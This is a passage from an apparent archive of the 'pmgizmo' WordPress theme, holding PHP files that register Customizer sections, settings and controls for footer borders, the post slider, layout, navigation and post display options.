        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'footer_color', array(
			'label'      => __( 'Footer Background', 'pmthemes' ),
			'section'    => 'pmthemes_footer_colors',
			'settings'   => 'pmthemes_theme_options[footer_color]',
		) ) 
	);
    // Footer Borders Header
    $wp_customize->add_setting( 'pmthemes_theme_options[footer_bdr_header]', array(
            'default'           => '',
            'type'           	=> 'option',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_footer_bdr_header', array(
                'label' => __( 'Footer Borders', 'pmthemes' ),
                'section' => 'pmthemes_footer_colors',
                'settings' => 'pmthemes_theme_options[footer_bdr_header]',
            )
        )
    );
    // Footer Top Border Color
	$wp_customize->add_setting( 'pmthemes_theme_options[footer_top_brdr]', array(
        'default'           => $theme_def['footer_top_brdr'],
		'type'           	=> 'option',
        'transport'         => 'postMessage',
        'sanitize_callback' => 'sanitize_hex_color'
		)
	);
	$wp_customize->add_control( new WP_Customize_Color_Control( 
		$wp_customize, 'footer_top_brdr', array(
			'label'      => __( 'Top Border Color', 'pmthemes' ),
			'section'    => 'pmthemes_footer_colors',
			'settings'   => 'pmthemes_theme_options[footer_top_brdr]',
		) ) 
	);

    // Footer Top Border Height
    $wp_customize->add_setting( 'pmthemes_theme_options[footer_top_brdr_hei]', array(
            'default'           => $theme_def['footer_top_brdr_hei'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'absint'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_footer_top_brdr_hei', array(
            'label'    => __( 'Top Border Height', 'pmthemes' ),
            'section'  => 'pmthemes_footer_colors',
            'settings' => 'pmthemes_theme_options[footer_top_brdr_hei]',
            'min' => 0,
            'max' => 15,
            'step' => 1,
            'unit' => 'px',
        ))
    );
    // Footer Bottom Border Color
    $wp_customize->add_setting( 'pmthemes_theme_options[footer_bottom_brdr]', array(
            'default'           => $theme_def['footer_bottom_brdr'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'sanitize_hex_color'
        )
    );
    $wp_customize->add_control( new WP_Customize_Color_Control(
            $wp_customize, 'footer_bottom_brdr', array(
            'label'      => __( 'Bottom Border Color', 'pmthemes' ),
            'section'    => 'pmthemes_footer_colors',
            'settings'   => 'pmthemes_theme_options[footer_bottom_brdr]',
        ) )
    );
    // Footer Bottom Border Height
    $wp_customize->add_setting( 'pmthemes_theme_options[footer_bot_brdr_hei]', array(
            'default'           => $theme_def['footer_bot_brdr_hei'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'absint'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_footer_bot_brdr_hei', array(
            'label'    => __( 'Bottom Border Height', 'pmthemes' ),
            'section'  => 'pmthemes_footer_colors',
            'settings' => 'pmthemes_theme_options[footer_bot_brdr_hei]',
            'min' => 0,
            'max' => 15,
            'step' => 1,
            'unit' => 'px',
        ))
    );
}pmgizmo/inc/customizer/sections/customizer-slider.php000064400000010332152223213640017226 0ustar00<?php
/**
 * Register Post Slider section, settings and controls for Theme Customizer
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Theme Colors section to Customizer
add_action( 'customize_register', 'pmthemes_customize_register_slider_settings' );

function pmthemes_customize_register_slider_settings( $wp_customize ) {
    // Get Default Fonts from settings
    $theme_def = pmthemes_default_options();
	// Add Sections for Slider Settings
	$wp_customize->add_section( 'pmthemes_section_slider', array(
        'title'    => __( 'Slider Settings', 'pmthemes' ),
		'description' => __( 'The slideshow displays your featured posts, which you can configure on the "Featured Content" section above.', 'pmthemes' ),
        'priority' => 7,
		'panel' => 'pmthemes_options_panel' 
		)
	);
	// Add settings and controls for Post Slider
	$wp_customize->add_setting( 'pmthemes_theme_options[slider_activated]', array(
        'default'           => '',
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
        $wp_customize, 'pmthemes_control_slider_activated', array(
            'label' => __( 'Activate Featured Post Slider', 'pmthemes' ),
            'section' => 'pmthemes_section_slider',
            'settings' => 'pmthemes_theme_options[slider_activated]',
            'priority' => 1
            )
        )
    );
	$wp_customize->add_setting( 'pmthemes_theme_options[slider_activated_front_page]', array(
        'default'           => $theme_def['slider_activated_front_page'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_checkbox'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_slider_activated_frontpage', array(
        'label'    => __( 'Display Slider on Magazine Front Page template.', 'pmthemes' ),
        'section'  => 'pmthemes_section_slider',
        'settings' => 'pmthemes_theme_options[slider_activated_front_page]',
        'type'     => 'checkbox',
		'priority' => 2
		)
	);
	$wp_customize->add_setting( 'pmthemes_theme_options[slider_activated_blog]', array(
        'default'           => $theme_def['slider_activated_blog'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_checkbox'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_slider_activated_blog', array(
        'label'    => __( 'Display Slider on normal blog index.', 'pmthemes' ),
        'section'  => 'pmthemes_section_slider',
        'settings' => 'pmthemes_theme_options[slider_activated_blog]',
        'type'     => 'checkbox',
		'priority' => 3
		)
	);
	$wp_customize->add_setting( 'pmthemes_theme_options[show_slider_content]', array(
        'default'           => $theme_def['show_slider_content'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_checkbox'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_show_slider_content', array(
        'label'    => __( 'Display Slider Content.', 'pmthemes' ),
        'section'  => 'pmthemes_section_slider',
        'settings' => 'pmthemes_theme_options[show_slider_content]',
        'type'     => 'checkbox',
		'priority' => 4
		)
	);

	$wp_customize->add_setting( 'pmthemes_theme_options[slider_animation]', array(
        'default'           => $theme_def['slider_animation'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_slider_animation'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_slider_animation', array(
        'label'    => __( 'Slider Animation', 'pmthemes' ),
        'section'  => 'pmthemes_section_slider',
        'settings' => 'pmthemes_theme_options[slider_animation]',
        'type'     => 'radio',
		'priority' => 4,
        'choices'  => array(
            'horizontal' => __( 'Horizontal Slider', 'pmthemes' ),
            'fade' => __( 'Fade Slider', 'pmthemes' )
			)
		)
	);
	
}

?>pmgizmo/inc/customizer/sections/customizer-general.php000064400000016536152223213640017375 0ustar00<?php
/**
 * Register General section, settings and controls for Theme Customizer
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add General Settings
add_action( 'customize_register', 'pmthemes_customize_register_general_settings' );
function pmthemes_customize_register_general_settings( $wp_customize ) {
    // Get Default Fonts from settings
    $theme_def = pmthemes_default_options();
	// Add Layout Section
	$wp_customize->add_section( 'pmthemes_section_layout', array(
        'title'    => __( 'Theme Layout', 'pmthemes' ),
        'priority' => 1,
		'panel' => 'pmthemes_options_panel' 
		)
	);
    // Theme Style
    $wp_customize->add_setting( 'pmthemes_theme_options[theme_styles]', array(
            'default'           => $theme_def['theme_styles'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_theme_styles'
        )
    );
    $wp_customize->add_control( 'pmthemes_color_scheme', array(
            'label'    => __( 'Theme Style', 'pmthemes' ),
            'section'    => 'pmthemes_section_layout',
            'settings' => 'pmthemes_theme_options[theme_styles]',
            'type'     => 'select',
            'priority' => 1,
            'choices'  => pmthemes_theme_style_keys(),
        )
    );
    // Layout Style
    $wp_customize->add_setting( 'pmthemes_theme_options[theme_style]', array(
            'default'           => $theme_def['theme_style'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_theme_style'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_theme_style', array(
            'label'    => __( 'Layout Style', 'pmthemes' ),
            'section'  => 'pmthemes_section_layout',
            'settings' => 'pmthemes_theme_options[theme_style]',
            'type'     => 'select',
            'priority' => 2,
            'choices'  => array(
                'boxed-one' => __( 'Boxed (Default)', 'pmthemes' ),
                'wide-head' => __( 'Wide Header', 'pmthemes')
            )
        )
    );
    // Theme Width
    $wp_customize->add_setting( 'pmthemes_theme_options[theme_width]', array(
            'default'           => $theme_def['theme_width'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_theme_width'
        )
    );
    $wp_customize->add_control( 'pmthemes_theme_width', array(
            'label'    => __( 'Theme Width', 'pmthemes' ),
            'section'  => 'pmthemes_section_layout',
            'settings' => 'pmthemes_theme_options[theme_width]',
            'type'     => 'select',
            'priority' => 3,
            'choices'  => array(
                'wd1' 	  => __( 'Default', 'pmthemes' ),
                'wd2' => __( '960px', 'pmthemes'),
                'wd3' => __( '980px', 'pmthemes' ),
                'wd4' => __( '1000px', 'pmthemes' ),
                'wd5' => __( '1050px', 'pmthemes'),
                'wd6' => __( '1080px', 'pmthemes' ),
                'wd7' => __( '1120px', 'pmthemes'),
                'wd8' => __( '1180px', 'pmthemes' ),
                'wd9' => __( '1220px', 'pmthemes'),
                'wd10' => __( '1280px', 'pmthemes' ),
            )
        )
    );
    // Extra Functions Title
    $wp_customize->add_setting( 'pmthemes_theme_options[extra_functions]', array(
            'default'           => '',
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_extra_functions', array(
                'label' => __( 'Extras', 'pmthemes' ),
                'section' => 'pmthemes_section_layout',
                'settings' => 'pmthemes_theme_options[extra_functions]',
                'priority' => 4,
            )
        )
    );
    // Remove Wide Header Body Margin
    $wp_customize->add_setting( 'pmthemes_theme_options[no_body_margin]', array(
            'default'           => $theme_def['no_body_margin'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_no_body_margin', array(
            'label'    => __( 'Remove Wide Header Body Margin', 'pmthemes' ),
            'description'    => __( 'Applicable for Wide Header layout only', 'pmthemes' ),
            'section'  => 'pmthemes_section_layout',
            'settings' => 'pmthemes_theme_options[no_body_margin]',
            //'active_callback' =>'pmthemes_wide_header_active',
            'type'     => 'checkbox',
            'priority' => 5,
        )
    );
    // Remove Body Border and Shadow
    $wp_customize->add_setting( 'pmthemes_theme_options[no_body_border]', array(
            'default'           => $theme_def['no_body_border'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_no_body_border', array(
            'label'    => __( 'Remove Body Border & Shadow', 'pmthemes' ),
            'section'  => 'pmthemes_section_layout',
            'settings' => 'pmthemes_theme_options[no_body_border]',
            //'active_callback' =>'pmthemes_wide_header_active',
            'type'     => 'checkbox',
            'priority' => 6,
        )
    );
	// Link to Top
	$wp_customize->add_setting( 'pmthemes_theme_options[link_to_top]', array(
        'default'           => $theme_def['link_to_top'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_checkbox'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_link_to_top', array(
        'label'    => __( 'Display Scroll to Top button.', 'pmthemes' ),
        'section'  => 'pmthemes_section_layout',
        'settings' => 'pmthemes_theme_options[link_to_top]',
        'type'     => 'checkbox',
		'priority' => 7,
		)
	);

    // WooCommerce Shop Page Layout
    $wp_customize->add_setting( 'pmthemes_theme_options[pmth_wc_shop_lyt]', array(
            'default'           => $theme_def['pmth_wc_shop_lyt'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_wc_layout'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_pmth_wc_shop_lyt', array(
            'label'    => __( 'Shop Page Layout', 'pmthemes' ),
            'section'  => 'woocommerce_product_catalog',
            'settings' => 'pmthemes_theme_options[pmth_wc_shop_lyt]',
            'active_callback' => 'pmthemes_woocommerce_class_active',
            'type'     => 'select',
            'choices'  => array(
                'wc_full_page' => __( 'Full Page', 'pmthemes'),
                'wc_show_sbar' => __( 'Show Sidebar', 'pmthemes' ),
            ),
            'priority' => 8,
        )
    );
}


pmgizmo/inc/customizer/sections/customizer-navi.php000064400000031450152223213640016705 0ustar00<?php
/**
 * Register Navigation Content section, settings and controls for Theme Customizer
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Navigation Settings
add_action( 'customize_register', 'pmthemes_customize_register_navig_settings' );
function pmthemes_customize_register_navig_settings( $wp_customize ) {
    // Get Default Fonts from settings
    $theme_def = pmthemes_default_options();
    // Add Navigation Section
    $wp_customize->add_section('pmthemes_section_navigation', array(
            'title' => __('Navigation Settings', 'pmthemes'),
            'priority' => 3,
            'panel' => 'pmthemes_options_panel'
        )
    );
    $wp_customize->add_control(new Pmthemes_Control_Toggle($wp_customize, 'pmthemes_navigation_settings_toggle', array(
                'section' => 'pmthemes_section_navigation',
                'targets' => array(
                    'main-navigation' => __( 'Main', 'pmthemes' ),
                    'top-navigation' => __( 'Top', 'pmthemes' )
                ),
                'settings' => ( isset( $wp_customize->selective_refresh ) ) ? array() : 'blogname',
                'priority' => 0,
            )
        )
    );
    // Top Menu Alignment
    $wp_customize->add_setting( 'pmthemes_theme_options[topnav_align]', array(
            'default'           => $theme_def['topnav_align'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_topnav_align'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_topnav_align', array(
            'label'    => __( 'Top Menu Alignment', 'pmthemes' ),
            'section'  => 'pmthemes_section_navigation',
            'settings' => 'pmthemes_theme_options[topnav_align]',
            'active_callback' => 'pmthemes_secondary_menu_active',
            'priority' => 1,
            'type'     => 'select',
            'choices'  => array(
                'top-menu-left' => __( 'Left (Default)', 'pmthemes' ),
                'top-menu-right' => __( 'Right', 'pmthemes'),
            )
        )
    );
    // Move Top Menu Below Title
    $wp_customize->add_setting( 'pmthemes_theme_options[topnav_down]', array(
            'default'           => $theme_def['topnav_down'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_topnav_down', array(
            'label'    => __( 'Move Top Menu Below Site Title', 'pmthemes' ),
            'section'  => 'pmthemes_section_navigation',
            'settings' => 'pmthemes_theme_options[topnav_down]',
            'active_callback' => 'pmthemes_secondary_menu_active',
            'type'     => 'checkbox',
            'priority' => 2,
        )
    );
    // Enable Header Line
    $wp_customize->add_setting( 'pmthemes_theme_options[header_line_enable]', array(
            'default'           => $theme_def['header_line_enable'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_header_line_enable', array(
            'label'    => __( 'Enable Header Line Color', 'pmthemes' ),
            'section'  => 'pmthemes_section_navigation',
            'settings' => 'pmthemes_theme_options[header_line_enable]',
            'active_callback' => 'pmthemes_is_navi_top_down',
            'type'     => 'checkbox',
            'priority' => 3,
        )
    );
    // Social Icons on Top Menu
    $wp_customize->add_setting( 'pmthemes_theme_options[header_icons]', array(
            'default'           => $theme_def['header_icons'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_header_icons', array(
            'label'    => __( 'Display Social Icons on Top Menu.', 'pmthemes' ),
            'section'  => 'pmthemes_section_navigation',
            'settings' => 'pmthemes_theme_options[header_icons]',
            'active_callback' => 'pmthemes_secondary_menu_active',
            'type'     => 'checkbox',
            'priority' => 4,
        )
    );
    // Main Menu Location
    $wp_customize->add_setting( 'pmthemes_theme_options[nav_on_header]', array(
            'default'           => $theme_def['nav_on_header'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_main_nav_loc'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_nav_on_header', array(
            'label'    => __( 'Main Menu Location', 'pmthemes' ),
            'section'  => 'pmthemes_section_navigation',
            'settings' => 'pmthemes_theme_options[nav_on_header]',
            'priority' => 5,
            'type'     => 'select',
            'choices'  => array(
                'main-menu-below' => __( 'Below Site Title (Default)', 'pmthemes' ),
                'main-menu-header' => __( 'Beside Site Title', 'pmthemes'),
            )
        )
    );
    // Sticky Navigation
    $wp_customize->add_setting( 'pmthemes_theme_options[sticky_navi]', array(
            'default'           => $theme_def['sticky_navi'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_sticky_navi', array(
            'label'    => __( 'Enable Sticky Navigation', 'pmthemes' ),
            'section'  => 'pmthemes_section_navigation',
            'settings' => 'pmthemes_theme_options[sticky_navi]',
            'type'     => 'checkbox',
            'priority' => 6,
        )
    );
    // Search on Main Menu
    $wp_customize->add_setting( 'pmthemes_theme_options[search_icon]', array(
            'default'           => $theme_def['search_icon'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_search_icon', array(
            'label'    => __( 'Enable Search on Main Menu', 'pmthemes' ),
            'section'  => 'pmthemes_section_navigation',
            'settings' => 'pmthemes_theme_options[search_icon]',
            'type'     => 'checkbox',
            'priority' => 7,
        )
    );
    // Hide Dropdown Indicator
    $wp_customize->add_setting( 'pmthemes_theme_options[no_drpdown_ind]', array(
            'default'           => $theme_def['no_drpdown_ind'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_no_drpdown_ind', array(
            'label'    => __( 'Hide Dropdown Indicator', 'pmthemes' ),
            'section'  => 'pmthemes_section_navigation',
            'settings' => 'pmthemes_theme_options[no_drpdown_ind]',
            'type'     => 'checkbox',
            'priority' => 8,
        )
    );
    // Merged Menus on Mobile
    $wp_customize->add_setting( 'pmthemes_theme_options[pmthemes_merge_menus]', array(
            'default'           => $theme_def['pmth_merge_menus'],
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'pmthemes_sanitize_checkbox'
        )
    );
    $wp_customize->add_control( 'pmthemes_control_merge_menus', array(
            'label'    => __( 'Merged Menus on Mobile', 'pmthemes' ),
            'description'    => __( 'Click mobile icon at the bottom of this panel to see live changes.', 'pmthemes' ),
            'section'  => 'pmthemes_section_navigation',
            'settings' => 'pmthemes_theme_options[pmthemes_merge_menus]',
            'type'     => 'checkbox',
            'priority' => 9,
        )
    );
    // Top Menu Font Size
    $wp_customize->add_setting( 'pmthemes_theme_options[topmenu_font_size]', array(
            'default'           => $theme_def['topmenu_font_size'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_topmenu_font_size', array(
            'label'    => __( 'Top Menu Font Size', 'pmthemes' ),
            'section'  => 'pmthemes_section_navigation',
            'settings' => 'pmthemes_theme_options[topmenu_font_size]',
            'active_callback' => 'pmthemes_secondary_menu_active',
            'priority' => 10,
            'min' => 0.7,
            'max' => 1.65,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );
    // Top Menu Bar Padding
    $wp_customize->add_setting( 'pmthemes_theme_options[topmenu_bar_padding]', array(
            'default'           => $theme_def['topmenu_bar_padding'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_topmenu_bar_padding', array(
            'label'    => __( 'Top Menu Bar Padding', 'pmthemes' ),
            'section'  => 'pmthemes_section_navigation',
            'settings' => 'pmthemes_theme_options[topmenu_bar_padding]',
            'active_callback' => 'pmthemes_secondary_menu_active',
            'priority' => 11,
            'min' => 0.5,
            'max' => 1.5,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );
    // Main Menu Font Size
    $wp_customize->add_setting( 'pmthemes_theme_options[mainmenu_font_size]', array(
            'default'           => $theme_def['mainmenu_font_size'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_mainmenu_font_size', array(
            'label'    => __( 'Main Menu Font Size', 'pmthemes' ),
            'section'  => 'pmthemes_section_navigation',
            'settings' => 'pmthemes_theme_options[mainmenu_font_size]',
            'priority' => 12,
            'min' => 0.75,
            'max' => 1.95,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );
    // Main Menu Bar Padding
    $wp_customize->add_setting( 'pmthemes_theme_options[mainmenu_bar_padding]', array(
            'default'           => $theme_def['mainmenu_bar_padding'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_mainmenu_bar_padding', array(
            'label'    => __( 'Main Menu Bar Padding', 'pmthemes' ),
            'section'  => 'pmthemes_section_navigation',
            'settings' => 'pmthemes_theme_options[mainmenu_bar_padding]',
            'priority' => 13,
            'min' => 0.25,
            'max' => 2.75,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );
    // Secondary Navigation Not Active
    $wp_customize->add_setting( 'pmthemes_theme_options[top_nav_inactive]', array(
            'default'           => '',
            'type'           	=> 'option',
            'transport'         => 'refresh',
            'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
            $wp_customize, 'pmthemes_control_top_nav_inactive', array(
                'label' => __( 'Top/Secondary Navigation Not Active', 'pmthemes' ),
                'section' => 'pmthemes_section_navigation',
                'description' =>'The top/secondary menu is not active.
If you want a top menu, please go to <a href="'. esc_url( home_url() ) .'/wp-admin/nav-menus.php">Menus</a> section and assign menu items to "Top Navigation" then come back here to edit settings.',
                'settings' => 'pmthemes_theme_options[top_nav_inactive]',
                'active_callback' => 'pmthemes_secondary_menu_inactive',
                'priority' => 14,
            )
        )
    );

}
pmgizmo/inc/customizer/sections/customizer-post.php000064400000034013152223213640016733 0ustar00<?php
/**
 * Register Post Settings section, settings and controls for Theme Customizer
 *
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Post Settings
add_action( 'customize_register', 'pmthemes_customize_register_post_settings' );
function pmthemes_customize_register_post_settings( $wp_customize ) {
    // Get Default Fonts from settings
    $theme_def = pmthemes_default_options();
	// Add Sections for Post Settings
	$wp_customize->add_section( 'pmthemes_section_post', array(
        'title'    => __( 'Post Settings', 'pmthemes' ),
        'priority' => 8,
		'panel' => 'pmthemes_options_panel' 
		)
	);
	// Add Sections for Related Posts
	$wp_customize->add_section( 'pmthemes_section_related', array(
        'title'    => __( 'Related Posts', 'pmthemes' ),
        'priority' => 10,
		'panel' => 'pmthemes_options_panel' 
		)
	);
    // Page and Title Font Size
    $wp_customize->add_setting( 'pmthemes_theme_options[posts_title_font_size]', array(
            'default'           => $theme_def['posts_title_font_size'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_posts_title_font_size', array(
            'label'    => __( 'Posts Title Font Size', 'pmthemes' ),
            'section'  => 'pmthemes_section_post',
            'settings' => 'pmthemes_theme_options[posts_title_font_size]',
            'priority' => 1,
            'min' => 0.95,
            'max' => 4,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );
    // Product Title Font Size
    $wp_customize->add_setting( 'pmthemes_theme_options[product_title_font_size]', array(
            'default'           => $theme_def['product_title_font_size'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_product_title_font_size', array(
            'label'    => __( 'Product Title Font Size', 'pmthemes' ),
            'section'  => 'pmthemes_section_post',
            'settings' => 'pmthemes_theme_options[product_title_font_size]',
            'active_callback' => 'pmthemes_woocommerce_class_active',
            'priority' => 2,
            'min' => 0.95,
            'max' => 4,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );

    // Entry Font Size
    $wp_customize->add_setting( 'pmthemes_theme_options[entry_font_sizes]', array(
            'default'           => $theme_def['entry_font_sizes'],
            'type'           	=> 'option',
            'transport'         => 'postMessage',
            'sanitize_callback' => 'pmthemes_sanitize_decimal_int'
        )
    );
    $wp_customize->add_control( new WP_Customize_Range( $wp_customize, 'pmthemes_control_entry_font_sizes', array(
            'label'    => __( 'Entry/Content Font Size', 'pmthemes' ),
            'section'  => 'pmthemes_section_post',
            'settings' => 'pmthemes_theme_options[entry_font_sizes]',
            'priority' => 3,
            'min' => 0.75,
            'max' => 1.95,
            'step' => 0.01,
            'unit' => 'em',
        ))
    );
	// Add Post Meta Headline
	$wp_customize->add_setting( 'pmthemes_theme_options[post_dates]', array(
		'type'           	=> 'option',
        'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
        $wp_customize, 'pmthemes_control_post_dates', array(
            'label' => __( 'Post Meta', 'pmthemes' ),
            'section' => 'pmthemes_section_post',
            'settings' => 'pmthemes_theme_options[post_dates]',
            'priority' => 4,
            )
        )
    );
	//Post Dates
	$wp_customize->add_setting( 'pmthemes_theme_options[show_post_dates]', array(
        'default'           => $theme_def['show_post_dates'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_checkbox'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_hide_post_dates', array(
        'label'    => __( 'Show Post Dates', 'pmthemes' ),
        'section'  => 'pmthemes_section_post',
        'settings' => 'pmthemes_theme_options[show_post_dates]',
        'type'     => 'checkbox',
		'priority' => 5,
		)
	);
	// Author
	$wp_customize->add_setting( 'pmthemes_theme_options[show_post_author]', array(
        'default'           => $theme_def['show_post_author'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_checkbox'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_hide_post_author', array(
        'label'    => __( 'Show Post Author', 'pmthemes' ),
        'section'  => 'pmthemes_section_post',
        'settings' => 'pmthemes_theme_options[show_post_author]',
        'type'     => 'checkbox',
		'priority' => 6,
		)
	);	
	// Category
	$wp_customize->add_setting( 'pmthemes_theme_options[show_post_category]', array(
        'default'           => $theme_def['show_post_category'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_checkbox'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_hide_post_category', array(
        'label'    => __( 'Show Post Category', 'pmthemes' ),
        'section'  => 'pmthemes_section_post',
        'settings' => 'pmthemes_theme_options[show_post_category]',
        'type'     => 'checkbox',
		'priority' => 7,
		)
	);

	// Add Post Images Title
	$wp_customize->add_setting( 'pmthemes_theme_options[post_images]', array(
        'default'           => '',
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
        $wp_customize, 'pmthemes_control_post_images', array(
            'label' => __( 'Post Images', 'pmthemes' ),
            'section' => 'pmthemes_section_post',
            'settings' => 'pmthemes_theme_options[post_images]',
            'priority' => 10,
            )
        )
    );
	$wp_customize->add_setting( 'pmthemes_theme_options[post_thumbnails_single]', array(
        'default'           => $theme_def['post_thumbnails_single'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_checkbox'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_posts_thumbnails_single', array(
        'label'    => __( 'Display featured images', 'pmthemes' ),
        'section'  => 'pmthemes_section_post',
        'settings' => 'pmthemes_theme_options[post_thumbnails_single]',
        'type'     => 'checkbox',
		'priority' => 12,
		)
	);
	// Add Comments Headline
	$wp_customize->add_setting( 'pmthemes_theme_options[comments_option]', array(
        'default'           => '',
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'esc_attr'
        )
    );
    $wp_customize->add_control( new Pmthemes_Customize_Header_Control(
        $wp_customize, 'pmthemes_control_comments_option', array(
            'label' => __( 'Comment Section', 'pmthemes' ),
            'section' => 'pmthemes_section_post',
            'settings' => 'pmthemes_theme_options[comments_option]',
            'priority' => 13,
            )
        )
    );
	//Disable Comments
	$wp_customize->add_setting( 'pmthemes_theme_options[hide_post_comment]', array(
        'default'           => $theme_def['hide_post_comment'],
		'type'           	=> 'option',
        'transport'         => 'refresh',
        'sanitize_callback' => 'pmthemes_sanitize_checkbox'
		)
	);
    $wp_customize->add_control( 'pmthemes_control_hide_post_comment', array(
